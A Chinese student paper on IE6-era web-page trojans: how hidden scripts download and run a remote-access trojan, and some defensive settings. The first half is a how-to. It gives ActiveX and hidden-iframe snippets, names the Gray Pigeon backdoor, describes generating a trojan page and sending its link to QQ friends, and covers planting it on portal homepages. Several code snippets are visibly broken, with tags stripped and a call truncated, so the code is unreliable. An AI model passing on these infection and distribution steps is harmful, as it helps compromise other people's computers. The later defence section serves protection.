“网页木马攻击及防范”论文

张胜国经济学院金融系0802班网页木马攻击原理及防范方法摘要：此文章主要介绍网页攻击的原理及防范方法。

写此文章的主要原因是一是：近期小耗子木马案让我很吃惊，竟有那么多肉鸡；二是我国的木马产业已经达到百亿元（最近腾讯网上每天都会有此报告），太让人吃惊了；第三，更重的是我在校网站工作，做一名网站程序员，这要求我在以后工作中实施防范注意。

网页木马的攻击一、网页木马的攻击原理（）首先明确，网页木马实际上是一个HTML网页，与其它网页不同的是该网页是黑客精心制作的，用户一旦访问了该网页就会中木马。

为什么说是黑客精心制作的呢？因为嵌入在这个网页中的脚本恰如其分地利用了浏览器的漏洞，让IE6浏览器在后台自动下载黑客放置在网络上的木马并运行（安装）这个木马，也就是说，这个网页能下载木马到本地并运行（安装）下载到本地电脑上的木马，整个过程都在后台运行，用户一旦打开这个网页，下载过程和运行（安装）过程就自动开始。

有朋友会说，打开一个网页，浏览器真的能自动下载程序和运行程序吗？如果浏览器真的能肆无忌惮地任意下载和运行程序，那天下还不大乱。

实际上，为了安全，浏览器是禁止自动下载程序特别是运行程序的，但是，浏览器存在着一些已知和未知的漏洞，网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。

下面我举浏览器早期的一个漏洞来分别说明这两个问题。

⒈自动下载程序小提示：代码说明a. 代码中“src”的属性为程序的网络地址，本例中“/1.exe”为我放置在自己Web服务器上的灰鸽子服务端安装程序，这段代码能让网页下载该程序到浏览它的电脑上。

b. 也可以把木马程序上传到免费的主页空间上去，但免费空间出于安全的考虑，多数不允许上传exe文件，黑客可能变通一下把扩展名exe改为bat或com，这样他们就可以把这些程序上传到服务器上了。

把这段代码插入到网页源代码的…之间（如图1），然后用没打补丁的IE6打开，接下来，打开IE的临时目录，你会发现，在该文件夹中有一个“1.exe”文件，这也就是说，该网页已自动下载了我放置在Web服务器上的灰鸽子木马。

图1 网页木马示例小提示：灰鸽子木马为什么一定要用灰鸽子木马呢？因为灰鸽子是反弹型木马，该木马能绕过天网等大多数防火墙的拦截，中马后，服务端即被控端能主动连接控制端（客户端），也就是说，一旦被控端连接到Internet，在控制端那里，被控端就会“自动上线”（如图2）。

图2 灰鸽子控制短示例（汗！又一大毒枭:)）⒉自动运行程序var shell=new ActiveXObject("shell.application"); space("c:\\Windows\\").items().item("Notepad.exe").invokeverb();把这段代码插入到网页源代码的…之间，然后用浏览器打开该网页，你会发现，这段代码可以在没有打相关补丁的IE6中自动打开记事本。

这段代码使用了shell.application控件，该控件能使网页获得执行权限，替换代码中的“Notepad.exe”（记事本）程序，可以用它自动运行本地电脑上的任意程序。

通过以上的代码我们可以看出，利用IE的漏洞，也就是说在网页中插入适当的代码，IE完全可以自动下载和运行程序，不过，IE一旦打了相关补丁，这些代码就会失去作用。

另外，这些代码要运行和下载程序，有些杀毒软件的网页监控会视它们为病毒，为了逃避追杀，黑客可能会使用一些工具对网页的源代码进行加密处理（如图3）。

图3 加密后的网页代码二、网页木马的基本用法理解了网页木马攻击的原理，我们可以制作自己的网页木马，但这需要你根据IE漏洞写出利用代码。

实际上，在网上有很多高手已写出了一些漏洞的利用代码，有的还把它写成了可视化的程序。

在搜索引擎输入“网页木马生成器”进行搜索，你会发现，在网上有很多利用IE的各种漏洞编写的网页木马生成器，它们大都为可视化的程序，只要你有一个木马（该木马必须把它放置到网络上），利用这些生成器你就可以立即生成一个网页，该网页就是网页木马，只要他人打开这个网页，该网页就可以自动完成下载木马并运行（安装）木马的过程。

第一步：启动该网页木马生成器，如图4所示，在文本框中输入木马的网络地址，最后单击“生成”。

图4 网页木马生成器第二步：在网页木马生成器的安装文件夹会生成一个网页文件，该文件就是我们在上一步生成的网页木马。

上传该文件到自己的Web服务器或免费主面空间。

现在好了，把上述网页在服务器上的地址（网址）通过QQ发给自己的好友，一旦他访问了该网页，该网页就会在他的电脑上自动下载并运行你放置在网络上的木马。

现在你该明白安全专家劝告的“不要打开陌生人发来的网络地址”这句话的真谛了吧！实际上，即使人人都不打开陌生人发来的网址，也仍然有一些人“飞蛾补灯，自寻死路”，因为若大的Internet，总会有一些人会有意或无意地访问这些网址，而且，有些网页木马，还挂在一些知名网站上（根据知名网站的访问量，你算算吧，每天有多少人中了木马！）。

小提示：你可能还没想到，看电影，在论坛查看或回复帖子也能中木马。

实际上，网页木马还可以挂在多媒体文件、电子邮件、论坛、CHM电子书上，这样，用户一旦观看电影、查看或预览邮件（主要是一些用电子邮件群发器发送的垃圾邮件）、参与帖子，打开电子书，用户就会中网页木马。

在下面我们只介绍黑客如何在知名网站上挂网页木马。

下面来看这一段代码：iframe src="/hk.htm" width="0" height="0" frameborder="0">相关链接：无毒神话被打破:Mac OS X首遇木马新木马竟"绑架"用户文件索要300美元赎金让网页木马滚开| 4月5日灰鸽子大范围发作小提示：“src”的属性“/hk.htm”是上传到服务器上的网页木马的网址。

把这段代码插入到某门户网站首页源代码的…之间，从表面上看，插入后该门户的首页并没有什么变化，但是，所有访问了该门户网站首页的人都会中木马，为什么会这样呢？这是因为这段代码中标签把网页木马网页隐藏性地“包含”在了插入代码的网页当中。

也叫浮动帧标签，它可以把一个HTML网页嵌入到另一个网页里实现“画中画”的效果（如图5），被嵌入的网页可以控制宽、高以及边框大小和是否出现滚动条等。

在上代代码中，因为把宽（width）、高（height）、边框（frameborder）都设置为了“0”，所以，上述代码插入到门户网站的首页后，网站的首页不会发生变化，但是，由于嵌入的网页实际上已经打开了，所以网页上的下载木马和运行木马的脚本还是会随着门户首页的打开而执行的。

图5 iframe标签示例也许有人会问，如何把上述代码插入到门户网站首页的源代码中？这个问题问得好，本人才疏学浅，确实无法进入他们的服务器修改网页，但是黑客如果发现了这些服务器上的漏洞且获得了webshell权限，那么修改他们的网页就跟在本地制作一个网页一样容易。

有人还问，拿到服务器的webshell权限容易吗？如果你对网络安全比较关注，你会发现，经常有这个网站被黑了，那个网站的主页被修改了的新闻爆出。

有人还问，门户的服务器几乎无漏洞可找，个人服务器的漏洞较多，你能进入吗？本人不是黑客，中华人民共和国的法律规定，入侵和篡改他人服务器上的信息是违法行为，希望大家共同维护网络安全。

以前，在网上打开一些有名的网站时杀毒软件也会报警，现在你明白其中的道理了吧。

有些人在这些网站发帖子骂娘，看了本文，希望在骂娘时你也能为那些垫背的站长想想。

防范网页木马攻击的方法：一些恶意网页会利用软件或系统操作平台等的安全漏洞，通过执行嵌入在网页HTML超文本标记语言内的Java Applet小应用程序、JavaScript脚本语言程序、ActiveX软件部件交互技术支持可自动执行的代码程序，强行修改用户操作系统的注册表及系统实用配置程序，从而达到非法控制系统资源、破坏数据、格式化硬盘、感染木马程序的目的。

目前来自网页黑手的攻击分为两种：一种是通过编辑的脚本程序修改IE浏览器；另外一种是直接破坏Windows系统。

前者一般会修改IE浏览器的标题栏、默认主页等，关于此方面的文章比较多。

下面就来介绍一些针对破坏Windows系统的防范网页木马攻击方法。

黑手之一格式化硬盘这是一种非常危险的网页黑手，它会通过IE执行ActiveX部件并调用或Deltree.exe将硬盘格式化或者删除文件夹。

在感染此类破坏程序后，会出现一个信息提示框，提示：“当前的页面含有不完全的ActiveX，可能会对你造成危害，是否执行？yes，no”，如果单击“是”，那么硬盘就会被迅速格式化，而这一切都是在后台运行的，不易被察觉。

防范的方法是：将本机的或Deltree.exe命令改名字。

另外，对于莫名出现的提示问题，不要轻易回答“是”。

可以按下〔Ctrl+Alt+Del〕组合键在弹出的“关闭程序”窗口中，将不能确认的进程中止执行。

黑手之二耗尽系统资源这种网页黑手会执行一段Java Script代码并产生一个死循环，以至不断消耗本机系统资源，最后导致系统死机。

它们会出现在一些恶意网站或者邮件的附件中，只要打开附件程序后，屏幕上就会出现无数个IE窗口，最后只有重新启动计算机。

防范的方法是：不要轻易进入不了解的网站，也不要随便打开陌生人发来的E-mail中的附件，比如扩展名是VBS、HTML、HTM、DOC、EXE的文件。

黑手之三非法读取文件此类黑手会通过对ActiveX、JavaScript和WebBrowser control的调用来达到对本地文件进行读取。

它还可以利用浏览器漏洞实现对本地文件的读取，避免此类攻击可以关闭禁用浏览器的JavaScript功能。

黑手之四获取控制权限此类黑手会利用IE执行Actives时候发生，虽然说IE提供对于“下载已签名的ActiveX控件”进行提示的功能，但是恶意攻击代码会绕过IE，在无需提示的情况下下载和执行ActiveX控件程序，而这时恶意攻击者就会取得对系统的控制权限。

如果要屏蔽此类黑手，可以打开注册表编辑器，然后展开如下分支：解决方法是在注册表分支HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerActiveX Compatibility 下为Active Setup controls创建一个基于CLSID的新键值 {6E449683_C509_11CF_AAFA_00AA00 B6015C}，然后在新键值下创建一个REG_DWORD 类型的键Compatibility，并设定键值为0x00000400即可。